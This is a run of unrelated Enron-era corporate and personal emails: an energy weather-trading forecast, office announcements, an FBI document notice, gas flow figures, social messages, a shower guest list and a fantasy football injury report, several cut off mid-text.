NC SERC(SE) 50 NC SPP(SP) 41 +3 WSCC(NW) 40 -4 WSCC(RK) 31 -4 WSCC(SW) 54 -=
2     Range Standard Deviation [IMAGE] [IMAGE]   Reg CT HP NE NW RK SE SP S=
W Mean 25 24 39 39 24 52 44 50 Max 30 28 43 43 33 60 55 55 Min 20 20 36 36 =
14 47 30 44 Range 10 8 7 7 19 13 25 11 StD-P 3.3 2.6 2.1 1.9 5.4 3.3 6.9 3.=
5 Count 10 10 10 10 10 10 10 10 Click Hereto See Each Weather Forecast Used=
 Within the Volatility Matrix    Day 6-10 Discussion:  With model consisten=
cy on my side, I am confident that this 6-10 day forecast period will verif=
y colder than normal for much of the East. If it does, it will be the first=
 period in over two months that runs cold. Relative to normal, it may not b=
e as significant as some of the warmer departures have been, but it should =
get some attention. There are some differences on where the heart of the co=
ld sets up. I believe it will tend to be more on the Plains rather than the=
 East Coast. But all models in this time frame have a strong ridge West/tro=
ugh East signature on them. One additional surprise could be a Southern jet=
 stream storm. I don't see anything particularly ominous yet, but the setup=
 suggests something could be in the offing.    Day 6: Tuesday, December 25,=
 2001  Click Herefor Syncrasy's 6-10 summary information.  Syncrasy's Choic=
AGE] (Click on image to enlarge)   [IMAGE]   ECAR(CTR) 30 -4 ERCOT(SP) 53 -=
1 FRCC(SE) 66 +1 MAAC(NE) 39 -2 MAIN(CTR) 22 -10 MAPP(HP) 14 -13 NPCC(NE) 3=
6 -3 SERC(SE) 46 -1 SPP(SP) 35 -7 WSCC(NW) 40 -3 WSCC(RK) 31 -5 WSCC(SW) 55=
 -1     Range Standard Deviation [IMAGE] [IMAGE]   Reg CT HP NE NW RK SE SP=
 SW Mean 22 22 34 38 25 46 42 50 Max 28 28 40 41 33 54 51 55 Min 17 15 29 3=
5 14 41 33 45 Range 11 13 11 6 19 13 18 10 StD-P 3.6 3.6 3.3 2.0 5.3 3.8 5.=
8 3.3 Count 9 9 9 9 9 9 9 9 Click Hereto See Each Weather Forecast Used Wit=
hin the Volatility Matrix   Day 7: Wednesday, December 26, 2001   Syncrasy'=
s Choice:  Delta Temp. Volatility Matrix  [IMAGE][IMAGE] [IMAGE][IMAGE] [IM=
AGE][IMAGE] (Click on image to enlarge)   [IMAGE]   ECAR(CTR) 28 -7 ERCOT(S=
P) 54 -2 FRCC(SE) 64 -1 MAAC(NE) 36 -4 MAIN(CTR) 23 -9 MAPP(HP) 17 -11 NPCC=
(NE) 32 -4 SERC(SE) 44 -4 SPP(SP) 37 -8 WSCC(NW) 40 -2 WSCC(RK) 31 -5 WSCC(=
SW) 55 -2     Range Standard Deviation [IMAGE] [IMAGE]   Reg CT HP NE NW RK=
 SE SP SW Mean 21 23 31 37 26 42 42 50 Max 27 28 36 42 35 48 50 56 Min 15 1=
7 27 34 20 36 33 46 Range 12 11 9 8 15 12 17 10 StD-P 3.5 3.6 2.5 2.9 5.3 3=
.9 6.2 3.5 Count 9 9 9 9 9 9 9 9 Click Hereto See Each Weather Forecast Use=
d Within the Volatility Matrix   Day 8: Thursday, December 27, 2001   Syncr=
asy's Choice:  Delta Temp. Volatility Matrix  [IMAGE][IMAGE] [IMAGE][IMAGE]=
 [IMAGE][IMAGE] (Click on image to enlarge)   [IMAGE]   ECAR(CTR) 18 -6 ERC=
OT(SP) 48 +4 FRCC(SE) 53 -1 MAAC(NE) 25 -6 MAIN(CTR) 16 -7 MAPP(HP) 10 -11 =
NPCC(NE) 25 -8 SERC(SE) 34 -3 SPP(SP) 29 -6 WSCC(NW) 30 -5 WSCC(RK) 15 -5 W=
SCC(SW) 44 -6     Range Standard Deviation [IMAGE] [IMAGE]   Reg CT HP NE N=
W RK SE SP SW Mean 21 23 29 36 23 43 46 49 Max 26 31 33 41 34 49 52 56 Min =
14 17 24 30 14 38 38 43 Range 12 14 9 11 20 11 14 13 StD-P 3.4 3.5 3.2 3.2 =
5.8 3.7 4.6 4.0 Count 9 9 9 9 9 9 9 9 Click Hereto See Each Weather Forecas=
t Used Within the Volatility Matrix   Day 9: Friday, December 28, 2001   Sy=
ncrasy's Choice:  Delta Temp. Volatility Matrix  [IMAGE][IMAGE] [IMAGE][IMA=
GE] [IMAGE][IMAGE] (Click on image to enlarge)   [IMAGE]   ECAR(CTR) 19 +1 =
ERCOT(SP) 41 -2 FRCC(SE) 60 +3 MAAC(NE) 23 -1 MAIN(CTR) 15 -2 MAPP(HP) 8 -1=
0 NPCC(NE) 21 -4 SERC(SE) 37 +1 SPP(SP) 25 -5 WSCC(NW) 30 -6 WSCC(RK) 13 -8=
 WSCC(SW) 46 -1     Range Standard Deviation [IMAGE] [IMAGE]   Reg CT HP NE=
 NW RK SE SP SW Mean 20 20 28 34 23 45 43 50 Max 27 31 35 40 34 51 53 56 Mi=
n 14 12 21 29 14 40 37 46 Range 13 19 14 11 20 11 16 10 StD-P 4.1 6.5 4.7 3=
.0 5.4 3.4 4.5 3.0 Count 8 8 8 8 8 8 8 8 Click Hereto See Each Weather Fore=
cast Used Within the Volatility Matrix   Day 10: Saturday, December 29, 200=
1   Syncrasy's Choice:  Delta Temp. Volatility Matrix  [IMAGE][IMAGE] [IMAG=
E][IMAGE] [IMAGE][IMAGE] (Click on image to enlarge)   [IMAGE]   ECAR(CTR) =
18 +5 ERCOT(SP) 43 +4 FRCC(SE) 62 +6 MAAC(NE) 24 +8 MAIN(CTR) 14 NC MAPP(HP=
) 6 -14 NPCC(NE) 23 +7 SERC(SE) 35 +3 SPP(SP) 22 -11 WSCC(NW) 27 -4 WSCC(RK=
) 3 -14 WSCC(SW) 46 NC     Range Standard Deviation [IMAGE] [IMAGE]   Reg C=
T HP NE NW RK SE SP SW Mean 15 13 25 28 11 39 36 41 Max 21 19 29 33 18 40 3=
9 47 Min 12 6 22 26 5 37 30 34 Range 9 13 7 7 13 3 9 13 StD-P 2.6 5.5 2.2 1=
.7 4.4 1.0 2.7 5.5 Count 6 6 6 6 6 6 6 6 Click Hereto See Each Weather Fore=
cast Used Within the Volatility Matrix    Trader Summary is designed around=
 and formatted for the  [IMAGE]Plasma displays, RainbowWall? and DataWall? =
  Trader Summary can also be viewed from www.syncrasy.comor    www.apbenerg=
y.comor www.truequote.com   [IMAGE]  =09
=09=09=09

Hi Cindy
 
Sorry for the delay in geting back with you but I can play on Wed if you still need someone.  Thanks.  Elizabeth

From: CKMADI@aol.com@ENRON 
Sent: Thu 9/27/2001 5:37 PM 
To: linmagid@yahoo.com; ABlumrosen@aol.com; Sager, Elizabeth; garrettm@pdq.net 
Cc: 
Subject: Singles

We are playing Wednesday (10/3) at Oaks of Woodlake (near Westheimer and

Gessner).

2 Lines @ 7:00

2 Lines @ 8:15

Please let me know if you are available to play.

Cindy Madi

Mercury News, 7/3: Blackout hits Las Vegas

--------------------------------------------

Blackout hits Las Vegas as number 120 comes up 
And California calls its first power alert since May as the mercury soars. 
July 3, 2001 
From staff and news service reports 
Las Vegas suffered its first rolling blackout ever Monday as soaring 
temperatures and churning air conditioners outstripped the local utility's 
ability to provide electricity. 
Nevada Power Co. cut about 100 megawatts, or enough electricity for 75,000 
homes, for about an hour. 
Scattered outages were reported around the Las Vegas area, where temperatures 
reached 120 degrees. Earlier, the utility asked its major power users, 
including the neon-lit resorts on the Las Vegas Strip, for voluntary 
reductions. Casinos instituted conservation measures largely not noticeable 
by guests. 
Meanwhile, in California, high temperatures led the Independent System 
Operator to declare an emergency alert for the first time since May 31. 
A Stage 1 alert was called at 1:35 p.m. as reserves fell below 7 percent of 
demand. The alert was upgraded to a Stage 2 at 2:40 p.m., meaning reserves 
fell below 5 percent. 
The alert didn't trigger new wholesale price limits under a system recently 
ordered by the Federal Energy Regulatory Commission. Under the FERC rules, a 
Stage 1 alert must be in effect for a full clock hour (i.e., 2 to 3 p.m.) to 
reset the caps, said Stephanie McCorkle, a spokeswoman for the ISO. Since the 
Stage 1 was upgraded to Stage 2 before a clock hour passed, that condition 
was not met, she said. The cap, designed to prevent price spikes, remains at 
$92 a megawatt-hour.

I'm running out the door to go drinking with the boys at front porch, right next to my apartment.  

I don't think your dad would like me so much.  Will explain later.

Sorry about your day.  Maybe you can find some happiness in the book of prayers.  Maybe you can find more happiness in the money.

Talk to you later.

From: 	"Dana P" <danaggie@hotmail.com>@ENRON [mailto:IMCEANOTES-+22Dana+20P+22+20+3Cdanaggie+40hotmail+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Friday, September 21, 2001 2:54 PM
To:	Arnold, John
Subject:	Re:

Sure, just remind me. It should cut down on your "depends" expenses as
well...

Today. Definitely in the top 10 as far as crappy days go. Started out great.
Breakfast with Dad was nice (LePeep by my house). He was very happy I broke
up with the energy guy. Wasn't too keen on him being Jewish. Dad's pretty
religious in his elder years. Gave me a book of prayers and money....That's
what I'm talkin' about!! (I'm going to he@@). Anyway, my boss calls me as we
are finishing up and asks me if I knew anything about a meeting I was
supposed to be working for NP's (nurse practitioners) at the Westin and I'm
like "Uh, No...never got the message". Well, never got the message because
she never sent it. Bottom line, I had to blow off all my plans(I was
actually planning on calling on doctors today and getting ready for my
monday program) and go work this meeting which isn't that big of deal. We
just stand around at display tables and answer questions from the
doctors/NP's. I was there for and hour and then went to lunch. I came back
for an hour and have to do some things here. The good thing about my boss is
she's very "hand's off". She stays out of your business unless you call her
for something. She has a life outside of this job which is rare for
managers. The bad thing is she can be "flighty" sometimes and forgets to
send things on or lets them pile up and we get the messages a week late
(which is probably what happened in this case)

Anyway, sorry about all the griping but I was on a roll!!

Hope your day has been good. You workin' out or goin' out after work?
Decisions. Decisions. Your gym sounds cool. Laughed at the physique comment.
So something I would have said.

Later,

d

>From: "Arnold, John" <John.Arnold@ENRON.com>
>To: <danaggie@hotmail.com>
>Date: Fri, 21 Sep 2001 10:42:44 -0500
>
>P.S. - Can you bring me some free samples of the bladder control
>medicine.  It'll save me some money.
>
>
>**********************************************************************
>This e-mail is the property of Enron Corp. and/or its relevant affiliate
>and may contain confidential and privileged material for the sole use of
>the intended recipient (s). Any review, use, distribution or disclosure by
>others is strictly prohibited. If you are not the intended recipient (or
>authorized to receive for the recipient), please contact the sender or
>reply to Enron Corp. at enron.messaging.administration@enron.com and delete
>all copies of the message. This e-mail (and any attachments hereto) are not
>intended to be an offer (or an acceptance) and do not create or evidence a
>binding and enforceable contract between Enron Corp. (or any of its
>affiliates) and the intended recipient or any other party, and may not be
>relied on by anyone as the basis of a contract by estoppel or otherwise.
>Thank you.

From: 	Legal - James Derrick Jr.  
Sent:	Thursday, January 24, 2002 3:50 PM
To:	DL-GA-all_enron_houston
Subject:	FBI Investigation

During the course of their investigation, Special Agents from the Federal Bureau of Investigation will be taking documents they believe may be important for their investigation from employees' offices.  The FBI has agreed to return copies of such documents. 

In addition, should you have an immediate need for a document requested by the FBI, please make a copy of the specific document and give the original to the FBI. Thank you for your cooperation.

---------------------- Forwarded by Scott Neal/HOU/ECT on 10/05/2000 04:09 PM 

Scott Neal
10/05/2000 01:41 PM
To: sneal12@mindspring.com
cc:  
Subject: Fwd: FW: Montana Forest Fire picture

---------------------- Forwarded by Scott Neal/HOU/ECT on 10/05/2000 01:41 PM 
   
	From:  Andrea Ring                           10/05/2000 01:12 PM
	
To: Scott Neal/HOU/ECT@ECT
cc:  

---------------------- Forwarded by Andrea Ring/HOU/ECT on 10/05/2000 01:12 
   Michele Winckowski @ ENRON                10/02/2000 02:04 PM

To: 
cc:  (bcc: Andrea Ring/HOU/ECT)

Subj:    Montana Forest Fire picture
This is awsome and at the same time rather chilling.  Mother nature is
spectacular
This awesome picture was taken in the Bitterroot National Forest here in
Montana on August 6, 2000 by a fire behavior analyst from Fairbanks,
Alaska by the name of John McColgan with a Digital camera.  Since he was
working while he took the picture, he cannot sell or profit from it so he
should
at least be recognized as the photographer of this once in a lifetime
shot

 - ATT09176.jpg

Is this the same thing we were working on?

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 12/07/2000 08:04 

Mark Greenberg
12/06/2000 09:35 AM
To: Douglas Fuehne/NA/Enron@ENRON
cc: Kay Mann/Corp/Enron@Enron 

Subject: Peoples Energy

Doug -

Pursuant to our discussions, attached is a copy of the revised letter for 
Peoples.  I have modified it to fit the current proposal and added some 
language believed to be necessary at this time.  You will also note that 
there is language indicating an assignment of this receivable to 
CommodityLogic.  There will need to be a document between ENA and CL to 
reflect this on an internal basis.  I will work on something later today so 
that we can properly document this matter.

Please look over the attached and let me know your comments.  I have copies 
Kay since she was responsible for reviewing the first letter and welcome her 
comments also.

Mark

My info is correct.  Michelle

From: Clyatt, Julie=20
Sent: Sunday, November 25, 2001 10:02 AM
To: Abshire, Kathy; Allex, Anne Marie; Alvarez, Irma; Anderson, Kristi; Arg=
yriou, Carla; Arya, Sunjay; Avery, Ladonna; Barela, Rocio; Barnard, Marla; =
Berry, Lara; Blaylock, John; Brasseaux, Ben; Broadfoot, Mark; Broussard, Th=
arsilla; Brown, Ashley; Brown, Cole; Buck, Gary; Buckley, Karen; Burke, Tod=
d; Cash, Michelle; Cashion, Tammy; Cashion, Tana; Chavira, Carmen; Christne=
r, Shelly; Coats, Carol; Collins, James A.; Conn, Philip; Corteselli, Gina;=
 Cox, Shirley; Cronin, Jennifer; Cruz, Magdelena; Curless, Amanda; Daffin, =
Margaret; Davies, Neil; Davis, Christopher; De Jesus, Frank; De La Paz, Jan=
et; Delgado, Lydia; Dennison, Margaret; Dillehay, Leonard; Dillingham, Geyn=
ille; Divelbiss, Sasha; Duncan, Josh; Edwards, Erika; Engler, Adrianne; Eva=
ns, Carrie; Fincher, Wendy; Fitzpatrick, Amy; Foster, David; Funkhouser, Sh=
anna; Fuqua, Linda; Galloway, Sonja; Gambill, Amy; Garcia, Grace; Garcia, R=
obert; Gomez, Javier; Gonzalez, Cynthia; Graham, Toni; Guerrero, Raquel; Ha=
nkamer, Cecilia; Hayes, Tracy; Herman, Ben; Hernandez, Iracema; Hickok, Kim=
; Hill, Dave (HR); Hill, Jo Ann; Hull, James; Iacobell, Don; Inglis, Elspet=
h; James, Theresia; Johnson, Debra S.; Joyner, Tamera; Kanouff, Erin; Keprt=
a, Dovie; Kerr, Vanessa; Knudsen, Sheila A.; Kutach, Laura; Labbe, Anne; Le=
e, Gustavia; Lewis, Simone; Lorenz, Michael; Luong, Anjelica; Magee, Molly;=
 Manning, MaryKay; Mathew, Jason; Mayes, Fran; McLoughlin, Hector; McMullan=
, David; McSherry, Brad; Melodick, Kim; Migliore, Todd; Napoli, Judey; Noll=
y, Qiana; Oquinn, Kari; O'rourke, Tim; Palmer, Johnny; Palmer, Lizzette; Pa=
rker, Courtnie; Parker, Gilda; Parra, Veronica; Patel, Tania; Peikert, Todd=
; Peng, Terry; Perez, Lisa; Perkins, Ramona; Phillips, Karen; Phillips, Rya=
n; Pierce, Shelly; Pina, Rafael; Pineda, Nicole; Presas, Gracie S.; Prihoda=
, Melissa; Quiller, Amanda; Quintana, Becky; Russi, Estalee; Ryan, Noel; Sa=
las, Vangie; Seleznov, Ryan; Sharma, Pankaj; Simon, Cindy; Skinner, Cindy; =
Slone, Jeanie; Solis, Felicia; Stevens, Andria; Stone, Sandy; Storey, Eddie=
; Sweet, Twanda; Tamez, Elisa; Taormina, Jennifer; Taylor, Barbara; Taylor,=
 Charles A - HR; Terrell, Margo; Tessandori, Bobbi; Trevino, Imelda D.; Tri=
eschman, Paul; Vanwey, Debi; Vasut, Tony; Venkataramani, Sandhya; Verity, J=
ackie; Villarreal, Norma; Wachel, Jamie; Walker, Simone Scott; Walton, Shei=
la; Warren, Davette; Weatherford, April; Weinberger,Paul; Weltz, Tracy; Whi=
te, Cheryl; Wilbeck, Tom; Worrell, Perrin; Wright, Tracy; Wysatta, Margaret=
; Yeverino, Norma; Zall, Howard; Zermeno, Rosalinda
Subject: Please update -

=20

Best Regards,=20
Julie Clyatt=20
(713) 853-3256=20

Tana -

Does your data base reflect any agreements with Salt River Project??

Let me know.

Thanks.

Mark

We agree with the Nominated totals.

"Eileen Ponton" <kponton@duke-energy.com> on 03/12/2001 09:22:50 AM

To:   David Avila/LSP/ENSERCH/US@TU, Charlie Stone/Texas Utilities@TU, Melissa
      Jones/Texas Utilities@TU, HPL.SCHEDULING@ENRON.COM, LIZ.BELLAMY@ENRON.COM
cc:
Subject:  NOMS / ACTUAL FLOW FOR 03/09 THRU 3/11/01

DATE      NOM       FLOW - MCF           FLOW - MMBTU

3/09      30,000         29,998               30,798

3/10      30,000         29,995               30,805

3/11      0         0              0

BTU = 1.027

From: Molly Meyers [mailto:mollyadams123@hotmail.com]
Sent: Sunday, January 20, 2002 9:22 PM
To: Meyers, Albert
Subject: Fwd: FW: Laid-Off A No Nothing Production

From: Molly Meyers <mmeyers@KPTV.com>
To: "'mollyadams123@hotmail.com'" <mollyadams123@hotmail.com>
Subject: FW: Laid-Off A No Nothing Production
Date: Fri, 18 Jan 2002 16:56:38 -0800
Received: from [208.252.88.163] by hotmail.com (3.2) with ESMTP id 
MHotMailBE120F4800194004379FD0FC58A30A390; Fri, 18 Jan 2002 16:56:40 -0800
Received: by SERVER2 with Internet Mail Service (5.5.2653.19)id <DCNDPDCH>; 
Fri, 18 Jan 2002 16:56:39 -0800
From mmeyers@KPTV.com Fri, 18 Jan 2002 16:57:03 -0800
Message-ID: <66DAECDAAA5ED011A1CF00009296074201B73C47@SERVER2>
X-Mailer: Internet Mail Service (5.5.2653.19)

From: Linda Huey
Sent: Friday, January 18, 2002 4:50 PM
To: Molly Meyers

From: Marco Coleman
Sent: Thursday, January 17, 2002 2:39 PM
To: Linda Huey
Subject: Laid-Off A No Nothing Production

  http://www.oddtodd.com/index2.html

Chat with friends online, try MSN Messenger: http://messenger.msn.com

I wanted to make sure that everyone was aware that Andy Brady is taking on the role as Project Manager for the Rates & Revenue project.  Wendy is taking on the role as Requirements and Design Manager for Rates & Revenue.  All project related questions regarding the Rates & Revenue project should be directed to Andy.   

Jeanne is taking responsibility for all remaining CMS/CRS/CAS project efforts including the TW CMS/CRS implementation as well as all CMS/CRS/CAS production support related items.  Please direct all inquiries regarding these applications to Jeanne.

These individuals will be working together to complete this transition by February 1st.  Thanks for your support as we make these changes.  

Hello everyone!  As the United Way campaign gets kicked-off this year for 
Enron, I volunteered to be a team leader to help out with the campaign.  The 
big kick-off for Enron is tomorrow, Wednesday, August 9 at 11:15 at the Hyatt 
Regency.  GPG will be participating in a round of Enron's own game show, "Who 
Wants to Help Millions for United Way?".  To show our support for GPG's game 
show contestant and the United Way, Please join Stan Horton and your GPG 
co-workers at 11:00am at the wheelchair ramp on the Andrews side of the Enron 
Building to walk to the Hyatt together.  Dress casual and wear a BLUE shirt 
to represent GPG proudly!

Also, mark your calendar for Monday, August 21 at 3:00pm in the Energizer for 
the GPG rally.

Enron has added an on-line pledging feature to the United Way campaign this 
year.  No more pledge cards to pass around!  I have seen a demo of the system 
and I must say it makes turning in your pledge very easy!  You will learn 
more about this tomorrow!  

Please plan to attend the Enron rally tomorrow!  I am available to provide 
you additional information about United Way or help answer any questions you 
may have about Enron's participation in the campaign so please don't hesitate 
to call me at Ext. 33098.  I look forward to seeing you there!  

Thanks, Kim Watson.

Alex,

No problem.

Vince

Alex Huang@ENRON
01/11/2001 05:12 PM
cc:  
Subject: Real Option Conference

Vince,
I was brought to my attention that an interesting Real Option conference
is taking place in March 27-28. I would like to attend this conference
if possible.

Thanks.
Alex

----- Forwarded by Sara Shackleton/HOU/ECT on 06/06/2001 06:55 PM -----

	Christian Yoder/ENRON@enronXgate
	06/05/2001 06:24 PM
		 
		 To: Jan M King/ENRON@enronXgate
		 cc: Sara Shackleton/HOU/ECT@ECT
		 Subject: FW: Westlaw Email

Jan, please print these docs out for me.  

Sara,  Pat is sending another case soon.  This is the main one. ----cgy

From:  "Pat Boylston" <pgboylston@stoel.com>@ENRON  
Sent: Tuesday, June 05, 2001 2:04 PM
To: Yoder, Christian
Subject: Fwd: Westlaw Email

Christian, I believe the relevant Chemical Bank case is in the attached 
e-mail.
Received: from pdx-navgate.stoel.com ([172.16.1.78]) by wpsmtp.stoel.com; 
Thu, 17 May 2001 12:01:47 -0700
Received: from stoel.com ([172.16.255.4]) by pdx-navgate.stoel.com (NAVIEG 
2.1 bld 63) with SMTP id M2001051712065507541 ; Thu, 17 May 2001 12:06:55 
-0700
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for <pgboylston@stoel.com>; Thu, 17 May 2001 14:05:20 -0500
From: Westlaw@westgroup.com
Message-Id: <200105171905.OAA20558@lethbridge.westlaw.com>
To: pgboylston@stoel.com
Subject: Westlaw Email
Date: Thu, 17 May 2001 19:05:21 -0600-UT
Reply-to: Support@westgroup.com
Content-Type: multipart/mixed; boundary="=_4A10614D.3F5E2CB3"

(C) 2001 West Group. Copyright is not claimed as to any part of the original 
work prepared by a U.S. government officer or employee as part of that 
person's official duties. All rights reserved. Use of the Westlaw data 
delivered to your e-mail address is governed by the Westlaw Subscriber 
Agreement or such other agreement as may govern your use of Westlaw data .

 - Westlaw_Document_14_05_05_336.doc
 - Summary_14_05_04_336.doc

---------------------- Forwarded by Dana Davis/HOU/ECT on 09/18/2000 05:00 PM 

"IMAP" <jcampbell@ddo2.defensivedriver.com> on 09/18/2000 03:05:36 PM
To: <dana.davis@enron.com>
cc:  
Subject: Re: DDO QUESTION SUBMISSION

Dana,
If you complete the course by 3:00pm on any weekday, we will print mail out
your Certificate of Completion the same day.  All Certificates are mailed
out via US Mail unless the student selects to have their Certificate sent to
them via our express delivery option.  We use Federal Express and charge an
additional $20.00 for this service.  We ask all students to allow 7-10
business days if their Certificate is mailed via US Mail or if you select to
have it sent FedEx your Certificate will be delivered the following day by
3:00pm.

If you have any other questions, please contact me at 888-547-9272.

Jyll Campbell
Office Administrator
From: <dana.davis@enron.com>
To: <support@defensivedriver.com>
Sent: Monday, September 18, 2000 2:36 PM
Subject: DDO QUESTION SUBMISSION

>
> Mozilla/4.74 [en] (WinNT; U)
> NAME: Dana Davis
> DL NUMBER: 15044825
> How long will it take to get the certificate of completion back?
>
>
>

Sorry to bring it up again, but did we finally give up on UC/CSU?  Jessie 
Knight called me.  He's now the CEO of the Chamber of Commerce is S.D.  They 
plan to launch a campaign next week telling businesses in S.D. that the best 
thing to leave Sempra and switch to another provider.  ("Do you want the 
Legislature to manage your energy costs, or do you want to manage them 
yourself?")  

They want to give illustrative examples of folks who've switched and how well 
they're doing.  Ray McNally's sister is an extremely enthusiastic Enron 
customer and is going to contact the Chamber.  Be useful to have a business 
or two, or, UC/CSU.  Know it's a long shot, but figured it don't hurt to try.

Yes.  Please add Tami Head, Barbara Bakanic & Maggie Van Syckle if its not too many.

The offer is still open for you and Linda to host at my house if you would like.

Here is Gaby's address:
Gaby Paniagua
13014 Leader #937
Houston, TX 77072

From: BLT12139@aol.com [mailto:BLT12139@aol.com]
Sent: Wednesday, January 30, 2002 9:31 AM
To: Corman, Shelley
Subject: Guest List for Shower

Hi Shelley:
I am getting out invitations for the shower today.  I am sending one to you 
and Alina so you can see it.  Here is the guest list so far:
Giok Boothe
Lisa Corder
Linda Corredor (co-hosting)
Jacque Daughtry
Sydney Free Duvall
Peggy Erwin
Nancy Ginsburg
Dawn Goddin
Ange Grout
Wendy Houghton
Barbara Howard
Stephanie Keesling
Carla McGinley
Kathy Mynarcik
Becky O'Reilly
Dorothy Pledger
Letha Russell
Pam Thyssen
Ann Turney
Patty Wehn-Glowski

I do need to clarify the following:
1)    Did you say yes to inviting Tami Head?  (My notes aren't clear.)
2)    You listed Cherie Otto on your list.  I know that she and Barbara 
Bakanic are very close friends.  Barbara is also in our S/S class when she is 
not teaching.  Do you think we should invite both of them?
3)    You were going to get me Gabby's (sp?) address.
4)    I thought of Maggie Van Syckle.  Are you close with her?

If there's any one else you think of, just let me know.
Thanks,
Barbara

Please print memo and attachment for me to review on the plane tomorrow.  
Thanks.  --Sally 
---------------------- Forwarded by Sally Beck/HOU/ECT on 02/06/2001 01:16 PM 
   
	From:  Naomi Connell                           02/06/2001 12:38 PM
	
To: Sally Beck/HOU/ECT@ECT, Ted Murphy/LON/ECT@ECT, Rick Buy/HOU/ECT@ECT, 
Richard Causey/Corp/Enron@ENRON
cc: Shona Wilson/NA/Enron@Enron, Mike Jordan/LON/ECT@ECT, Michael R 
Brown/LON/ECT@ECT, Fernley Dyson/LON/ECT@ECT 
Subject: Recycling Summary Integration plan

Please find attached the summary integration plan that you requested during 
our debriefing last week. 

The first part of the table shows the controls objectives and the controls in 
place at 31 Dec 2000 when Enron Metal Recycling was divided into two halves: 
MGMR and Bergman.  Our overall controls assessment per risk at that stage was 
level 2 (below average controls).  

We have sumarised the implementation steps required to achieve an increase in 
controls assessment to level 3 (average), 4 (good)  or 5 (excellent) in each 
case,  along with latest completion dates to achieve those controls. 

We have then added a column of comments on the actual implementation with a 
bar chart to show how far advanced the work is.  The revised controls 
assessment at 31 Jan shows an average of 2.5 and our plan should enable the 
controls to be around a level 3 (average) by end of February. 

We will issue a revised table monthly in order to clearly update you on our 
progress.  If you would like to schedule a specific meeting to go through any 
of the points or queries that you may have, please let me know and I will 
organise.

Many thanks

Naomi

[IMAGE] =09
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have signed up for CBS SportsLine.com Fantasy Football.  To customize, resc=
hedule, or turn off these reports please  click here    NFL Reports, Player=
 Updates  [IMAGE]Latest NFL Player News  Chad Lewis , TE PHI - Free Agent U=
pdated 11/19/01 Lewis suffered a slight knee injury during Sunday's 36-3 wi=
n over Dallas. The injury isn't considered serious, however, and Lewis is e=
xpected to start this weekend's game against Washington.   Steve McNair , Q=
B TEN - Rocks Updated 11/19/01 McNair was able to play with an injury to hi=
s right thumb, but the Tennessean says he will probably miss some practice =
time this week. He should still be able to play in the team's next g! am! e=
.   Packers , DT GB - Free Agent Updated 11/19/01 Safety LeRoy Butler suffe=
red a fractured left shoulder blade during Sunday's game against Atlanta. H=
e is out indefinitely and could miss the remainder of the season. Chris Aki=
ns will likely take over the starting duties in Butler's absence.   Steve M=
cNair , QB TEN - Rocks Updated 11/19/01 McNair was able to play with an inj=
ury to his right thumb, but the Tennessean says he will probably miss some =
practice time this week. He should still be able to play in the team's next=
 game.!  Az-Zahir Hakim , WR STL - FIBSABs Updated 11/19/01 Hakim left Sund=
ay's game against New England with an ankle injury. X-rays were negative, a=
nd Hakim is listed as day to day.   Reggie Wayne , WR IND - Free Agent Upda=
ted 11/19/01 Wayne suffered a sprained knee on Sunday. His current status i=
s day to day.  Rod Smith , WR DEN - Baja Updated 11/19/01 ! Sm! ith (ankle)=
 could not finish Sunday's game. His status for Thursday's game against Dal=
las is unclear.  Terance Mathis , WR ATL - McKay Neal Updated 11/19/01 Math=
is has by far his best game of the season, catching seven passes for 70 yar=
ds against Green Bay. He suffered a mild concussion in the game, but he's e=
xpected to be fine for this weekend's contest at Carolina.   Jackie Harris =
, TE DAL - Free Agent Updated 11/19/01 Harris suffered a strained right ham=
string during Sunday's game against Philadelphia. He did not return to the =
contest, and is listed as day to day.   Frank Sanders , WR ARI - Baja Updat=
ed 11/19/01 Sanders had a huge game against Detroit on Sunday, catching sev=
en passes for 127 yards and a touchdown. He injured his hamstring in the ga=
me, however, and is listed as day to day.   Quincy Carter , QB DAL - Free A=
gent Updated 11/19/01 Carter feels as though his hamstring has healed enoug=
h that he's ready to return to action. However, the Cowboys wil! l ! start =
Ryan Leaf for a few more weeks before Carter gets his starting job back. Th=
e team wants to evaluate Leaf in a few games this season to determine if he=
'll have any trade value in the offseason.   James Jackson , RB CLE - Free =
Agent Updated 11/19/01 Jackson told the Cleveland Plain-Dealer it was a coa=
ch's decision not to use him against the Ravens. Jackson had been suffering=
 from an ankle injury, but reports prior to gametime had indicated he might=
 have been able to play. With the sudden emergence of Benjamin Gay, Jackson=
's Fantasy value might drop greatly.  Ryan Leaf , QB DAL - Free Agent  Upda=
ted 11/19/01 Leaf had another terrible outing this weekend, but the Dallas =
Morning News is reporting that he'll remain the team's starting quarterback=
 for the time being. However, he's no better than waiver wire fodder in Fan=
tasy Football.   Kevin Lockett , WR WAS - Free Agent Updated 11/19/01 Locke=
tt left Sunday's game against Denver in the first quarter due to a rib inju=
ry. His status for next week's game against Philadelphia is uncertain at th=
is time.   Tony Banks , QB WAS - Matt Lenhart Updated 11/19/01 Banks, who s=
uffered a concussion during Sunday's game against Denver, told the Washingt=
on Post that there's a "definite possibility" he would be ready in time for=
 next weekend's game against Philadelphia. Kent Graham would start if Banks=
 is unable to play, but neither QB is an attractive Fantasy option against =
the Eagles.   Emmitt Smith , RB DAL - Rocks Updated 11/19/01 Smith left Sun=
day's game against Philadelphia with a sprained knee. However, he is expect=
ed to be in the starting lineup when Dallas faces Denver on Thanksgiving Da=
y.   Larry Foster , WR DET - Free Agent  Updated 11/19/01 Foster suffered a=
n apparent leg injury during Sunday's game against Arizona. He is listed as=
 day to day.  Desmond Howard , WR DET - Free Agent Updated 11/19/01 Howard =
suffered a shoulder injury during Sunday's win over Arizona. He did not ret=
urn to the game, and is listed as day to day.   Bert Emanuel , WR DET - McK=
ay Neal Updated 11/19/01 Emanuel suffered a knee injury during Sunday's gam=
e against Arizona. He is listed as day to day.   Muhsin Muhammad , WR CAR -=
 Fear Updated 11/18/01 Muhammad sprained his left shoulder in Sunday's game=
 against the 49ers. His status for the Week 11 game against Atlanta is uncl=
ear.  Mike Anderson , RB DEN - The Klap Updated 11/18/01 Anderson rushed fo=
r only 31 yards on 13 carries against the Redskins. Olandis Gary carried th=
e ball 10 times for 28 yards. It is apparent Anderson is no longer worthy o=
f a starting spot on Fantasy teams, and Gary will continue to see some work=
 at his expense.  Michael Westbrook , WR WAS - Free Agent Updated 11/18/01 =
Westbrook caught nine passes for 104 yards and a TD at Denver. Opposing def=
enses are focusing on rookie Rod Gardner, and Westbrook is getting open oft=
en after starting the year slowly.  Jake Plummer , QB ARI - Baja Updated 11=
